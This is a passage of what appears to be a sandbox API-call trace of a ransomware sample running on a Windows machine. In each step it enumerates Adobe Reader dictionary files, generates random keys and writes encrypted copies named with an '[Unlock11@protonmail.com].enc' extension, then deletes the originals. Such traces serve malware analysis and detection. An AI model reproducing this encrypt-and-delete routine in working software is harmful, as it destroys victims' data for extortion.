Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README_en_GB.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README_en_GB.txt", lpFilePart=0x9bada4*="README_en_GB.txt") returned 0x8a [0198.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0198.541] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README_en_GB.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme_en_gb.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x82a)) returned 1 [0198.541] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646fac | out: pbBuffer=0x3646fac) returned 1 [0198.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0198.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0198.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0198.541] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README_en_GB.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme_en_gb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.542] GetFileType (hFile=0x334) returned 0x1 [0198.542] GetFileType (hFile=0x334) returned 0x1 [0198.542] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.542] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.542] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.542] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.542] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.543] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.543] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.543] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README_en_GB.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme_en_gb.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.543] GetFileType (hFile=0x39c) returned 0x1 [0198.543] GetFileType (hFile=0x39c) returned 0x1 [0198.544] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.544] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.544] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.544] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.544] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.544] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.544] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.547] CloseHandle (hObject=0x39c) returned 1 [0198.547] CloseHandle (hObject=0x334) returned 1 [0198.547] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README_en_GB.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme_en_gb.txt")) returned 1 [0198.548] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\WordNet_license.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\WordNet_license.txt", lpFilePart=0x9bada4*="WordNet_license.txt") returned 0x8d [0198.548] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\WordNet_license.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\wordnet_license.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x678)) returned 1 [0198.549] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646ee4 | out: pbBuffer=0x3646ee4) returned 1 [0198.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0198.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0198.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0198.549] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\WordNet_license.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\wordnet_license.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.549] GetFileType (hFile=0x334) returned 0x1 [0198.550] GetFileType (hFile=0x334) returned 0x1 [0198.550] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.550] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.550] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.550] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.550] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.550] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.550] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.550] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\WordNet_license.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\wordnet_license.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.551] GetFileType (hFile=0x39c) returned 0x1 [0198.551] GetFileType (hFile=0x39c) returned 0x1 [0198.551] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.551] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.551] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.551] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.551] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.551] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.551] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.554] CloseHandle (hObject=0x39c) returned 1 [0198.554] CloseHandle (hObject=0x334) returned 1 [0198.554] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\WordNet_license.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\wordnet_license.txt")) returned 1 [0198.555] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0198.556] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.556] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="en_US.aff", cAlternateFileName="")) returned 1 [0198.556] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb91eb, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="en_US.dic", cAlternateFileName="")) returned 1 [0198.556] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x32487, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="hyph_en_US.dic", cAlternateFileName="HYPH_E~1.DIC")) returned 1 [0198.556] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="README_en_US.txt", cAlternateFileName="README~1.TXT")) returned 1 [0198.556] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="README_en_US.txt", cAlternateFileName="README~1.TXT")) returned 0 [0198.557] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0198.557] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\en_US.aff" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_us\\en_us.aff")) returned 0x20 [0198.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f3e0 | out: hHeap=0x2ad0000) returned 1 [0198.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0198.558] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\en_US.dic" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_us\\en_us.dic")) returned 0x20 [0198.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f1a0 | out: hHeap=0x2ad0000) returned 1 [0198.558] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\hyph_en_US.dic" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_us\\hyph_en_us.dic")) returned 0x20 [0198.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac06b0 | out: hHeap=0x2ad0000) returned 1 [0198.559] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\README_en_US.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_us\\readme_en_us.txt")) returned 0x20 [0198.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac03b8 | out: hHeap=0x2ad0000) returned 1 [0198.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0198.559] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\en_US.aff", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\en_US.aff", lpFilePart=0x9bada4*="en_US.aff") returned 0x83 [0198.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0198.559] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\en_US.dic", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\en_US.dic", lpFilePart=0x9bada4*="en_US.dic") returned 0x83 [0198.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0198.560] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\hyph_en_US.dic", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\hyph_en_US.dic", lpFilePart=0x9bada4*="hyph_en_US.dic") returned 0x88 [0198.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0198.560] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\README_en_US.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\README_en_US.txt", lpFilePart=0x9bada4*="README_en_US.txt") returned 0x8a [0198.560] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\README_en_US.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_us\\readme_en_us.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x416)) returned 1 [0198.560] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679084 | out: pbBuffer=0x3679084) returned 1 [0198.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0198.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0198.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0198.561] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\README_en_US.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_us\\readme_en_us.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.561] GetFileType (hFile=0x334) returned 0x1 [0198.561] GetFileType (hFile=0x334) returned 0x1 [0198.561] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.561] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.561] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.562] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.562] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.562] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.562] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.562] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\README_en_US.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_us\\readme_en_us.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.564] GetFileType (hFile=0x39c) returned 0x1 [0198.564] GetFileType (hFile=0x39c) returned 0x1 [0198.564] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.564] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.564] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.564] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.564] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.564] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.565] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.567] CloseHandle (hObject=0x39c) returned 1 [0198.567] CloseHandle (hObject=0x334) returned 1 [0198.567] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\README_en_US.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_us\\readme_en_us.txt")) returned 1 [0198.568] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\*.*", lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0198.569] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.569] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bab10 | out: lpFindFileData=0x9bab10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba8cc, dwReserved1=0x73013d47, cFileName="en_CA", cAlternateFileName="")) returned 1 [0198.569] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bab10 | out: 